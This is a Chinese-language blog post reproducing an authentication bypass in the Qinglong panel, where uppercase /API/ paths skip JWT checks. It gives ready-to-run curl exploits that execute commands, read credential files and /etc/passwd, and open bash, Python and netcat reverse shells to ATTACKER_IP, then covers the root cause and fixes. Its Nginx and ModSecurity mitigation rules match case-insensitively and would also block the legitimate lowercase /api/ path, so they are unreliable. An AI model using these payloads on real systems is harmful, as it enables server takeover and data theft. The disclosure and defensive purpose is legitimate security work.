青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE

青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE - 详细部署教程

使用 Docker 部署漏洞版本

docker run -d
-p 5700:5700
-v $(pwd)/data:/ql/data
–name qinglong
whyour/qinglong:2.20.1

访问面板

http://localhost:5700


### 2. 验证环境

```bash
# 检查版本
curl http://localhost:5700/api/system/version

# 预期输出
{"data":"2.20.1","code":200}

💥 漏洞复现

步骤 1: 验证鉴权绕过

正常情况(需要认证):

# 直接访问 /api/ 路径会被拦截
curl -X PUT "http://localhost:5700/api/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "id"}'

# 响应:401 Unauthorized
{"code":401,"message":"未授权访问"}

利用大小写绕过:

# 使用 /API/ (大写) 绕过鉴权
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "id"}'

# 响应:200 OK
{
  "code": 200,
  "data": "uid=0(root) gid=0(root) groups=0(root)"
}

步骤 2: 执行系统命令

获取系统信息:

# 查看当前用户
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "whoami"}'

# 查看主机名
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "hostname"}'

# 查看环境变量
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "env"}'

读取敏感文件:

# 读取青龙配置文件
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "cat /ql/data/config/auth.json"}'

# 读取系统密码本 (需要 root 权限)
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "cat /etc/passwd"}'

步骤 3: 获取 Shell

反弹 Shell:

# Bash 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'

# Python 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'

# NC 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'

🔍 技术细节分析

1. Express 路由大小写不敏感

Express 框架默认对路由大小写不敏感:

const express = require('express');
const app = express();

app.get('/api/test', (req, res) => {
    res.send('Hello');
});

// 以下请求都能匹配到上述路由
// GET /api/test      ✓
// GET /API/test      ✓
// GET /Api/test      ✓
// GET /aPi/TeSt      ✓

这是 Express 的默认行为,可以通过 app.set('case sensitive routing', true) 启用大小写敏感。

2. 鉴权中间件逻辑漏洞

问题代码:

// back/loaders/express.ts
app.use((req, res, next) => {
    // 白名单路径,不需要鉴权
    if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
        return next();  // 跳过 JWT 校验
    }
    
    // 验证 JWT 令牌
    const token = req.headers.authorization;
    if (!verifyToken(token)) {
        return res.status(401).json({ code: 401, message: '未授权' });
    }
    
    next();
});

绕过原理:

请求路径:/API/system/command-run

1. req.path = '/API/system/command-run'
2. req.path.startsWith('/api/') = false  ← 大小写不匹配
3. 条件为真,执行 next()  ← 跳过 JWT 校验
4. Express 路由匹配:/API/ → /api/  ← 大小写不敏感,成功匹配
5. 执行命令执行接口 ← 未授权访问成功

3. 可利用 API 接口

青龙面板提供多个危险 API 接口:

接口路径功能危险等级
/api/system/command-run执行系统命令🔴 严重
/api/env管理环境变量🟠 高
/api/repo管理仓库🟠 高
/api/subscription管理订阅🟡 中
/api/user用户管理🟠 高

🛡️ 防御建议

1. 官方修复方案

修复鉴权逻辑:

// 修复后:使用正则忽略大小写
const authPaths = [/^\/open\//i, /^\/api\//i];

app.use((req, res, next) => {
    if (!authPaths.some((pattern) => pattern.test(req.path))) {
        return next();
    }
    
    // 验证 JWT 令牌
    const token = req.headers.authorization;
    if (!verifyToken(token)) {
        return res.status(401).json({ code: 401, message: '未授权' });
    }
    
    next();
});

启用大小写敏感路由:

const app = express();
app.set('case sensitive routing', true);  // 启用大小写敏感

// 现在 /API/ 和 /api/ 是两个不同的路由

2. 临时缓解措施

方案 1: 反向代理过滤

# Nginx 配置
location / {
    # 强制转换为小写
    set $lower_uri $uri;
    if ($uri ~* ^/(API)/) {
        return 403;  # 拦截大写 API 路径
    }
    
    proxy_pass http://localhost:5700;
}

方案 2: WAF 规则

# ModSecurity 规则
SecRule REQUEST_URI "@rx (?i)/API/" \
    "id:1001,\
    phase:1,\
    deny,\
    status:403,\
    msg:'QL Panel Auth Bypass Attempt'"

3. 用户侧防护

# 1. 限制访问来源
iptables -A INPUT -p tcp --dport 5700 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 5700 -j DROP

# 2. 使用强认证
# 修改默认密码
# 启用双因素认证 (如果支持)

# 3. 定期更新
docker pull whyour/qinglong:latest
docker restart qinglong

# 4. 监控日志
tail -f /ql/log/system.log | grep -E "(API|command|auth)"

📊 影响评估

受影响版本

版本状态
2.20.1❌ 受影响
2.20.0❌ 可能受影响
2.19.x⚠️ 待确认
< 2.19⚠️ 待确认

潜在危害

  1. 服务器完全沦陷 - 攻击者可执行任意命令
  2. 数据泄露 - 读取配置文件、数据库、密钥
  3. 内网渗透 - 以服务器为跳板攻击内网
  4. 挖矿/僵尸网络 - 植入恶意程序

攻击场景

互联网扫描 → 发现 5700 端口 → 利用鉴权绕过 → 执行命令
    → 读取配置 → 获取数据库密码 → 数据泄露
    → 植入后门 → 持久化控制 → 内网横向移动

🔗 相关漏洞案例

1. JWT 鉴权绕过常见手法

手法描述案例
大小写绕过/API/ vs /api/本文漏洞
路径遍历/..//api/CVE-2023-XXXX
编码绕过URL 编码、UnicodeCVE-2022-XXXX
算法混淆alg: noneJWT 经典漏洞

2. Node.js/Express 类似漏洞

  • CVE-2024-29180: express-fileupload 路径遍历
  • CVE-2022-24999: Express 原型污染
  • CVE-2024-45590: app-html 包 RCE

📝 时间线

日期事件
2026-02-27漏洞首次披露 (GitHub Issue #2934)
2026-02-28漏洞细节公开
2026-02-28本文发布
TBDCVE 编号分配
TBD官方修复版本发布

📚 参考资料

  1. GitHub Issue #2934
  2. Express 官方文档 - 路由
  3. OWASP - 鉴权绕过
  4. Node.js 安全最佳实践

🏷️ Tags

#鉴权绕过 #RCE #青龙面板 #Node.js 安全 #Express #漏洞复现 #渗透测试


本文基于公开披露的漏洞信息编写,旨在提高安全意识。请合法使用安全技术。

Built with Hugo
Theme Stack designed by Jimmy